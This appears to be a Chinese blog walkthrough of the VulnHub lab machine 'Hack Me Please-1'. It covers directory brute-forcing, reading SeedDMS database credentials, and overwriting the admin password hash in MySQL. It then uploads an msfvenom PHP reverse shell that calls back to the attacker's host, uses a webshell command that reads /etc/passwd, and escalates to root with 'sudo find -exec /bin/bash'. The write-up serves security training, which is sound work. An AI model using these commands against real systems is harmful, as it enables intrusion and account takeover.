『vulnhub系列』Hack Me Please-1

下载地址:

1
https://www.vulnhub.com/entry/hack-me-please-1,731/

信息搜集:

使用nmap进行探测存活主机,发现主机开启了80端口和3306端口

1
nmap 192.168.0.*

Untitled

访问80端口的web服务

Untitled

使用dirsearch扫描目录,但是并没有可以访问的页面

1
dirsearch -u "http://192.168.0.132/"

Untitled

在main.js发现提示,有一个目录/seeddms51x/seeddms-5.1.22/

Untitled

访问一下是一个登录页面

Untitled

现在我们扫描这个目录

1
dirsearch -u "http://192.168.0.132/seeddms51x/seeddms-5.1.22/"

Untitled

访问/install页面

Untitled

发现install不了

1
http://192.168.0.132/seeddms51x/seeddms-5.1.22/install/install.php

Untitled

说是要在conf目录下创建ENABLE_INSTALL_TOOL ,但是我们好像并不知道这个conf目录在哪里

可以确定当前seeddms51x/seeddms-5.1.22/ 目录下没有。现在我们向前每一级文件都爆破一下。

1
dirsearch -u "http://192.168.0.132/seeddms51x/"

我们现在几乎可以确定conf就在/seeddms51x/这个目录文件下了

Untitled

然后我们继续访问conf/ENABLE_INSTALL_TOOLconf,发现都无法访问

Untitled

继续爆破一下吧,终于发现了settings.xml

1
dirsearch -u "http://192.168.0.132/seeddms51x/conf"

Untitled

访问一下,我们找到了数据库的用户名和密码都为:seeddms

Untitled

我们登录mysql

1
mysql -h 192.168.0.132 -u seeddms -p

Untitled

1
show database; #查看数据库

Untitled

发现users表

1
2
use seeddms; #使用seeddms数据库
show tables; #查看表

Untitled

查看users表的内容发现用户名和密码

+-------------+---------------------+--------------------+-----------------+ | Employee_id | Employee_first_name | Employee_last_name | Employee_passwd | +-------------+---------------------+--------------------+-----------------+ | 1 | saket | saurav | Saket@#$1337 | +-------------+---------------------+--------------------+-----------------+

1
select * from users; #查看users所有内容

Untitled

使用ID和密码登录

Untitled

登录失败,还有个表是tblUsers,我们查看一下,里面有一个admin和一个md5加密的密码

1
select * from tblUsers;

Untitled

我们可以覆盖一下,首先使用python生成一个md5值21232f297a57a5a743894a0e4a801fc3

1
python3 -c 'import hashlib;print(hashlib.md5("admin".encode()).hexdigest())'

Untitled

修改数据库条目,修改成功

1
update tblUsers set pwd='21232f297a57a5a743894a0e4a801fc3' where login='admin';

Untitled

使用我们修改后的密码admin和用户名admin登录,登陆成功

Untitled

漏洞利用:

我们发现添加文件选项是可以上传文件的,我们上传一个msfvenom生成的反弹shell

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.129 lport=4444 -o re_shell.php

Untitled

我们此时搜一下seeddms的漏洞

Untitled

看到一个远程命令执行,看一下如何实现

1
2
3
4
5
6
7
8
9
Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

......

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.

步骤1,2:就是登录,然后上传一个文档,我们已经上传完成了例子用的是一个webshell,我们上传的是反弹shell,我们需要找到上传文件的位置

步骤3:查看文档的id,我们通过刚刚上传的反弹php序号为12

Untitled

步骤4:访问/data/1048576/"document_id"/1.php 页面,在那之前先开启msf的监听,然后访问1.php

Untitled

反弹成功

Untitled

提升权限:

我们查看/home页面发现存在用户saket

我们之前有在数据库中发现过saket,他的密码是Saket@#$1337 我们登陆试试,登录成功

1
su saket

Untitled

使用sudo -l 查看此用户可以以root权限执行的命令,发现是(ALL : ALL) ALL

Untitled

那就自由发挥吧,这里使用find提权,成功

1
sudo find /home -exec /bin/bash \;

Untitled